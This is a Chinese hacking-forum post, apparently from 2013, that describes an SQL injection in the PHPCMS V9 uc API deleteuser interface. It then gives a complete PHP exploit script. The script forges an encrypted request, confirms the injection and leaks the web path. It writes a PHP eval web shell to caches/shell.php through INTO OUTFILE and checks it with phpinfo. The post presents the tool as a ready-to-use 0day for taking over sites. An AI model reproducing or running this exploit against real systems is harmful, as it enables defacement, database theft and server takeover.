找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2036|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。: D& F8 H3 \3 o, q: I* K
1 I1 I# }) i4 G6 Q7 K
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。, T; O; V" _* ^, V! g, g3 m: F
' \5 m; E8 J4 @* E/ L
漏洞分析:! A0 g( @- a# J1 z2 C4 v
1.未启用ucenter服务的情况下uc_key为空+ T, d- ~4 h- Q4 R
define('UC_KEY', pc_base::load_config('system', 'uc_key'));+ c1 ^! e" B. D& ^2 f
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。% l% r% L* b% o
    public function deleteuser($get,$post) {# H+ {- V/ D  g+ o, t" }3 ^/ y
        pc_base::load_app_func('global', 'admin');' H/ a' U/ h/ ?! ?" s
        pc_base::load_app_class('messagequeue', 'admin' , 0);
: h; Z. c8 w; o: m2 l/ W; P        $ids = new_stripslashes($get['ids']);
) C2 J- f" Y0 x        $s = $this->member_db->select("ucuserid in ($ids)", "uid");( @( T0 {0 m/ o: b' |7 E
SQL语句为
8 k+ i! z, k; P% A# q% GSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 ~( [& }' h: {/ l

  d' O" O: x7 c. N9 F利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell- H: |0 [7 b9 }7 F
<?php
0 ]9 [/ m( y, n% s) T& gprint_r('
5 F) Y% _# p7 U" f% n  _9 u( @, a---------------------------------------------------------------------------
  u) a5 v, @; f0 x0 `1 }7 ~* w- T) PPHPcms (v9 or Old Version) uc api sql injection 0day3 g7 K6 b' d2 X  Q6 |
by rayh4c#80sec.com# W5 |- h  k0 X8 I1 O. z
---------------------------------------------------------------------------
. S+ N1 S; L& s9 f& ?; a');
" h1 f# w8 y( `. }1 H* d
3 M& M: [$ q8 Z( I4 R4 V) |if ($argc<3) {
5 n- E$ i' Y7 y7 z) p5 J4 n    print_r('
% A# U# N2 u; k" `---------------------------------------------------------------------------
+ o3 Q; w9 X4 K* ^5 i) `Usage: php '.$argv[0].' host path OPTIONS
. X0 C5 }* L7 ]9 l. f0 whost:      target server (ip/hostname)! r& f7 L$ A$ a9 v
path:      path to phpcms% O! l3 w# c% x' m2 ?/ ]0 L
Options:
( P/ @) r* m- n8 b6 x  E -p[port]:    specify a port other than 80! d: s6 G: A' p
-P[ip:port]: specify a proxy
9 t4 {  e! Z9 ^Example:! n  l3 J: @, D# O& ~) L, i9 s
php '.$argv[0].' localhost /
9 w8 u! z# ?/ G/ F# Xphp '.$argv[0].' localhost /phpcms/ -p81
% [, b8 t/ R& l# j2 lphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80/ T" i1 o" x: t% o7 {4 }6 a+ K  s+ g
---------------------------------------------------------------------------$ [" N1 o% {4 k) [
');- y& S, e1 ?8 U" o8 B" N
    die;
& P' ?6 w. B6 x3 I6 \0 K% d. \/ r) ]}
# L! e' l4 k4 b' g0 d, v7 z* l) a( D* f
error_reporting(7);
8 e4 T0 J, b, D3 ~7 x' \' qini_set("max_execution_time",0);
- w, t: S0 \1 w& V5 C! m$ Fini_set("default_socket_timeout",5);
. k& s  ~0 F3 l2 q7 O; _3 c% ~, |& ]) b* B" ?0 N
function quick_dump($string)
1 \* m; I! \+ J" q: G3 D! y{  j# y4 q, H! K/ g
  $result='';$exa='';$cont=0;
: X' U7 p- f0 i/ w  for ($i=0; $i<=strlen($string)-1; $i++)
% Y) i" B. t7 ^5 M7 J; B  {
6 I" t+ L  y& l" k# n  @   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))8 t9 Q- m' g' a/ b; }
   {$result.="  .";}
- F* S9 d7 t" O   else
- ]4 h  {. Z% N* k- i2 n   {$result.="  ".$string[$i];}1 U7 z, i5 J; [" m8 N2 F7 z, h
   if (strlen(dechex(ord($string[$i])))==2)
4 u' ^! `! b9 b( r   {$exa.=" ".dechex(ord($string[$i]));}  e* M( @! V  d4 N3 B; ?1 L  b. p
   else
4 f" U8 U. K6 F" A   {$exa.=" 0".dechex(ord($string[$i]));}1 ~5 N9 m) k$ U& v
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
/ i0 S4 }0 D$ ~  }
. Z8 B8 i4 |4 K6 J return $exa."\r\n".$result;5 R6 g3 _* Y% ]
}
0 _! [7 k6 g, u8 E1 @% U) S$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
4 K5 Q/ S6 q* R3 e4 v5 g  y% \8 m. h( c3 @' {( \) j
function send($packet)
4 L; w( W4 d2 \+ \2 f8 H{
% E) P5 r0 r- m  global $proxy, $host, $port, $html, $proxy_regex;
7 z6 V/ V7 h2 r9 p0 o  }  if ($proxy=='') {
3 p; g( V$ `' f  \! C; {    $ock=fsockopen(gethostbyname($host),$port);
- [$ g. D( w( \$ |0 A    if (!$ock) {
' i6 _' F, |' L! I) s7 A; j      echo 'No response from '.$host.':'.$port; die;
) @. ^, o. A  J6 f2 T    }, n+ c4 h6 o5 Q; W+ y9 E0 y
  }  I( K( A5 I5 z
  else {
; P4 Q. n, \- i+ z! @        $c = preg_match($proxy_regex,$proxy);
/ U4 I. V  j5 l; u( j4 b( X    if (!$c) {2 E5 u# D0 a+ i/ W6 J" e
      echo 'Not a valid proxy...';die;5 F3 c. D. c  x2 f  v
    }' Y+ G) R9 ~! N' u
    $parts=explode(':',$proxy);
0 i1 M6 ~  ]/ x6 [1 N- D2 [    $parts[1]=(int)$parts[1];
0 R( U  [1 D" G1 ^7 Q8 C7 k8 x    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
4 Z5 I) T) r+ `/ X# F# V/ r1 z  ]    $ock=fsockopen($parts[0],$parts[1]);/ l1 @  A' x+ N% P7 R& [1 _# o. P( g" \8 B
    if (!$ock) {- d- l1 c/ r. `5 |9 B5 V
      echo 'No response from proxy...';die;4 X% R' E. `) A( s& f) b/ G2 P
        }2 O1 _  T3 W) D/ Y
  }
. V2 f7 q) [/ H( z' L* i! K9 v  fputs($ock,$packet);2 m6 v; l7 E! a% W8 w
  if ($proxy=='') {
3 K6 F# ?* n9 k, B    $html='';( q4 J6 ~: J5 |) a) B4 s+ U
    while (!feof($ock)) {
/ Q+ E8 v8 y4 r) W. Q      $html.=fgets($ock);
1 d' ]" ], X2 L( @    }2 j- w7 ]! C8 t+ N+ x4 ?
  }/ f5 I# m# N; B$ I
  else {
* Y  [9 [1 f7 W    $html='';  f- i0 }4 v7 |5 r, U
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {0 O* V8 N$ a) u2 Z% }7 H- e1 a( Y
      $html.=fread($ock,1);
6 l; B2 F& p6 P% W- t    }; S$ G3 A$ E3 D1 N+ d
  }
! s! ~7 E8 F  F  fclose($ock);
4 G+ ], E; z+ d, @3 P) \}
4 ?* W0 I8 W7 A8 c8 ?  E9 k$ d3 }+ s
$host=$argv[1];0 i. d0 r% e5 M" L. h" B
$path=$argv[2];2 j# B/ m% `0 x4 N- r1 \9 i5 t
$port=80;
* H# e5 s# u' m, |$ t! O2 k$proxy="";1 g! X5 C# C7 ?& {  \3 ]7 `! e
for ($i=3; $i<$argc; $i++){" \$ p) t% y. g% H/ ]- c. `9 A
$temp=$argv[$i][0].$argv[$i][1];
, V8 E! I* i$ y6 oif ($temp=="-p")
" b! }7 J7 C2 B- S# x7 l! s% R1 }{
$ e( c1 Q) k6 v- p3 P  $port=(int)str_replace("-p","",$argv[$i]);
$ O- d2 ~2 j) n. w- t# d}0 {5 i  I% c( T8 [0 R- `, [/ ~
if ($temp=="-P")
, n* n* `# E8 y& T3 A- l8 _$ O{
% k9 l. _' I! n& u5 U  $proxy=str_replace("-P","",$argv[$i]);
2 c- k  l* \/ B+ d}
" z5 z3 ~; |5 v& A3 y! g}2 M; G: I; m. [: X3 Q) J

) g. ?  U/ u2 G3 w9 C  o4 Fif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}# A2 e& c2 A2 I. |
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}* @+ @1 Z& I/ V( \& ]

" @% s7 z0 E0 c: `$ C/ x: lfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
: \+ S: W8 j! b/ a
9 x6 {3 [6 c2 o0 q# P/ R5 B    $ckey_length = 4;& t; ]/ y6 g4 W- t$ S9 d

) t6 m" R5 D- S  t! {    $key = md5($key ? $key : '');
. H- y/ {* B/ P  S( s    $keya = md5(substr($key, 0, 16));
! z, Z4 t1 I- d  n1 O    $keyb = md5(substr($key, 16, 16));
4 ^* B, y, S4 }    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
) q1 t  _+ O( O! L/ W6 ?
" o! n. ^  P7 \$ L2 t) r3 X    $cryptkey = $keya.md5($keya.$keyc);2 d) B$ w/ x3 a$ J& W  n0 M! D
    $key_length = strlen($cryptkey);5 W# ~2 H9 _2 |2 ^9 X( S

; ?$ f' e( l/ E    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
8 V! m6 N/ j8 [    $string_length = strlen($string);
5 P. a- _( \( A/ _% w$ R! n  [1 z  e+ P, t) [% e: B2 H* b& a
    $result = '';* v" H. N) ~2 Z$ X. }  B/ ?1 Y; v& Z
    $box = range(0, 255);$ F6 ?8 O8 m1 ^. a, o
) d+ j. l( x+ c; }2 i
    $rndkey = array();& N% q( u0 |$ B& e8 ^" t
    for($i = 0; $i <= 255; $i++) {
9 L" a1 s4 |* ?1 a( k2 O9 ?: d5 M        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
3 b/ ^) K2 n* V9 h    }
# V9 _0 Z- @; x. L/ r' v1 \3 Q2 r0 j2 x- i+ v0 E
    for($j = $i = 0; $i < 256; $i++) {) {6 W4 \# ~8 p
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
0 s( ~: l* Z8 M: Z1 \3 h+ v- j        $tmp = $box[$i];. V1 n% U9 c8 F2 \# h0 `* P
        $box[$i] = $box[$j];
# A( Q1 u& [5 M        $box[$j] = $tmp;
+ ^6 m7 ^2 G+ }  K; T0 z0 m1 v    }
; q: N& s+ h4 b5 [2 s# k
! O3 o+ O8 A% X$ T2 L2 R/ S    for($a = $j = $i = 0; $i < $string_length; $i++) {
- n# A! j2 M, {8 D) b. Z/ B        $a = ($a + 1) % 256;2 m8 `4 G7 k6 g$ r  i! `
        $j = ($j + $box[$a]) % 256;/ E0 ], T9 N/ P+ J
        $tmp = $box[$a];/ q3 m9 ~" a* H4 w  d  E5 C
        $box[$a] = $box[$j];
' t% j/ L& b: c' ~% ]        $box[$j] = $tmp;
; t6 m7 w* _+ }1 `1 t8 r* z        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));4 Y! j9 n7 h7 T1 }
    }: \/ Y# e3 s" m' `) T! S" y
, n8 V; B" y0 G- L. ]
    if($operation == 'DECODE') {" z7 Y, [  J' x5 U5 g
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) [2 N9 d2 _0 V            return substr($result, 26);
$ q8 _/ z! F3 _* D        } else {
7 W% b% {5 |0 Z            return '';% k! p( k( m/ V  R# W6 V) P5 Q" W
        }
  @0 s7 s* m, d& Y% g3 W; x    } else {
/ v1 x9 U( G" q* ^        return $keyc.str_replace('=', '', base64_encode($result));
! f' {4 _, j/ u    }
0 _6 m- z5 r6 [
! M6 q& U7 p% N# u* D$ b}
) Z: E4 K/ S5 C7 ?$ @# C8 P# ], T5 i. S8 I. M) A9 X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
: ~* C. t# M% i$ X/ z) R$SQL = urlencode(authcode($SQL, "ENCODE", ""));# e8 H+ Z2 G+ }6 j8 B7 c
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% f: k+ H8 G+ n9 e+ O( |
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
7 k- k. C8 L% y+ r5 X. {+ I$ E' w$packet.="User-Agent: Mozilla/5.0\r\n";
% n) `  _( w+ `3 {6 V. A. ^( c$packet.="Host: ".$host."\r\n";1 }* A( i6 V; S9 y- O
$packet.="Connection: Close\r\n\r\n";6 Y/ n5 ^' a5 g1 p) t/ u/ k0 p9 _. d6 F
send($packet);& v, W9 q9 V1 z
if(strpos($html,"MySQL Errno") > 0){
% M' o! l' W5 I) D/ a: ~; x# c5 ]8 ~echo "[2] 发现存在SQL注入漏洞"."\n";
3 c- H# H. J! @, |6 C# \echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
. \4 C6 b4 D7 {4 e! N% m; ?1 M$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
6 Z9 T* V+ J# a- }# {: G* B$packet.="User-Agent: Mozilla/5.0\r\n";; h* p: v( ^/ V% x4 z( K7 D8 F
$packet.="Host: ".$host."\r\n";1 v+ v1 u( f% R2 I
$packet.="Connection: Close\r\n\r\n";0 b0 l% h% s- f
send($packet);% M, E6 ~8 l3 h) v" `! Q! P3 x5 G% P
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);0 t# y) [7 ?* s% B
//print_r($matches);
! b" e$ }# e8 f+ t& m( z. i9 J$ g' k5 Dif(!empty($matches)){) H: N1 N+ V# Y; e. t
echo "[4] 得到web路径 " . $matches[0]."\n";
* H8 ^! ?7 w7 _% V6 X! Y- W6 V; oecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
& M+ E% g; C* b  V+ ], e$SQL = "time=999999999999999999999999&ids=1)";
  j# G- t5 e; c5 _( O$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
' S7 |9 }  K, |# J$SQL.="&action=deleteuser";7 _6 o" f/ c( G1 U* Z
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
/ O  _( y, {! U" I' J8 t5 Decho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";9 _  r: L0 b" N4 `
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";2 v  w- t6 R+ v) k% m- V
$packet.="User-Agent: Mozilla/5.0\r\n";
; t$ o0 {: m8 H6 _$packet.="Host: ".$host."\r\n";
3 H: L+ `5 ~' ]1 T- J; ~# q& N$packet.="Connection: Close\r\n\r\n";# Q! v4 f' M. u, T5 d% P' w: ]& C) F
send($packet);( V$ v: u* l5 C1 `
if(strpos($html,"Access denied") > 0){5 `1 ~( I. F! W9 }0 R
echo "[-] MYSQL权限过低 禁止写入文件 ";
/ m% b! D! _) t) }; Q  J" F! n9 Cdie;; o+ V7 y9 S* }
}+ z* q) B2 k& O' U" M# O
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";8 h6 l+ m- V8 k6 _- s
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
: f0 t  F5 N! s  f5 a# }$packet.="User-Agent: Mozilla/5.0\r\n";) R+ c  u; n2 S  q$ S# C2 B8 T
$packet.="Host: ".$host."\r\n";
. J/ d# U4 q% O* O! h7 f$packet.="Connection: Close\r\n\r\n";) k9 {* b! f- T, s
send($packet);
7 M2 W' A3 u. M3 f8 W" _, y& fif(strpos($html,"<title>phpinfo()</title>") > 0){
; J2 A1 c6 j* G( D' P1 Y% A) xecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 G8 H# i4 G  U; u
}9 L" s; W- o% j- _: x
}else{
/ |8 R, x& ?( R9 Xecho "[-]未取到web路径 ";0 S9 x; {2 H5 o; j* R3 {) G, s
}
! c- V6 p# m+ j# J}else{
3 \  C! o" y& Hecho "[*]不存在SQL注入漏洞"."\n";
) Q  e5 ^! E& K0 G- X" L& B}
* ^" ^& {5 j$ y' q5 i& P/ N2 E$ J# Q/ c3 q& K$ F, R
?>/ w% G  C7 N6 a5 u7 H# n: z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表